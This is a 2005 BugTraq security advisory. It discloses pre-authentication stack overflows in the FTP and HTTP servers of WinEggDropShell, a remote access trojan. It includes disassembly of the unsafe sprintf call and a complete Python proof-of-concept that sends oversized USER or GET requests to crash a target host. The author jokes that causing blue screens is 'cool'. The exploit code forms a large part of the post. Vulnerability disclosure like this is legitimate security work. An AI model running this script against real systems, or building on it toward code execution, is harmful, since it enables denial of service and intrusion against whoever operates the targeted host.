BugTraq
WinEggDropShell Multiple Remote Stack Overflow Dec 02 2005 05:47AM
Sowhat (smaillist gmail com)
WinEggDropShell Multiple Remote Stack Overflow

by Sowhat
2005.12.02
http://secway.org/advisory/AD20051202.txt
http://secway.org/exploit/wineggdropshell_bof.py.txt

Affected:

WinEggDropShell Eterntiy version (1.7)
Other version may be vulnerable toooooo

Overview:

WinEggDropShell is a popular Chinese RAT (remote access trojan).
WineggDropShell provide HTTP Proxy/Socks Proxy/HTTP Server/FTP Server.
for more information, Goooooooooooooogle...

Multiple preauth stack overflow found in the HTTP/FTP server can be used to
execute arbitrary command or D0S (blue screen, yes, it's cool ;)

Vulnerability:

1. FTP USER bof

.text:100027BD push offset aUser ; "USER"
.text:100027C2 call _strlen
.text:100027C7 add esp, 4
.text:100027CA lea edi, [ebp+eax-103h]
.text:100027D1 push edi
.text:100027D2 push offset aS ; "%s"
.text:100027D7 lea edi, [ebp+var_208]
.text:100027DD push edi ; char *
.text:100027DE call _sprintf ; emmmmm, ;)

_ReceiveSocketBuffer can maximum recv 0x200h, but [ebp+var_208] is
a 0x104h buffer.

2. FTP Server Pass Command
.............

3. HTTP GET stack overflow!
GET /A*260

PoC:
http://secway.org/exploit/wineggdropshell_bof.py.txt

Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....;)

Reference:
[1] https://www.openrce.org/articles/full_view/18
[2] http://www.ccc.de/congress/2005/
[3] http://secway.org

#!/usr/bin/python
# WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC
# HTTP Server "GET" && FTP Server "USER" "PASS" command
# Bug Discoverd and coded by Sowhat
# Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....;)
# http://secway.org
# 2005-10-11

# Affected:
# WinEggDropShell Eterntiy version
# Other version may be vulnerable toooooo

import sys
import string
import socket

if (len(sys.argv) != 4):

print "#######################################################################
###"
print "# WinEggDropShell Multipe PreAuth Remote Stack Overflow
PoC #"
print "# This Poc will BOD the vulnerable target
#"
print "# Bug Discoverd and coded by Sowhat
#"
print "# http://secway.org
#"
print "#######################################################################
###"
print "\nUsage: " + sys.argv[0] + "HTTP/FTP" + " TargetIP" + " Port\n"
print "Example: \n" + sys.argv[0] + " HTTP" + " 1.1.1.1" + " 80"
print sys.argv[0] + " FTP" + " 1.1.1.1" + " 21"
sys.exit(0)

host = sys.argv[2]
port = string.atoi(sys.argv[3])

if ((sys.argv[1] == "FTP") | (sys.argv[1] == "ftp")):

request = "USER " + 'A'*512 + "\r"

if ((sys.argv[1] == "HTTP") | (sys.argv[1] == "http")):

request = "GET /" + 'A'*512 + " HTTP/1.1 \r\n"

exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
exp.connect((host,port))
exp.send(request)

---EOF-----

--
Sowhat
http://secway.org
"Life is like a bug, Do you know how to exploit it ?"

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus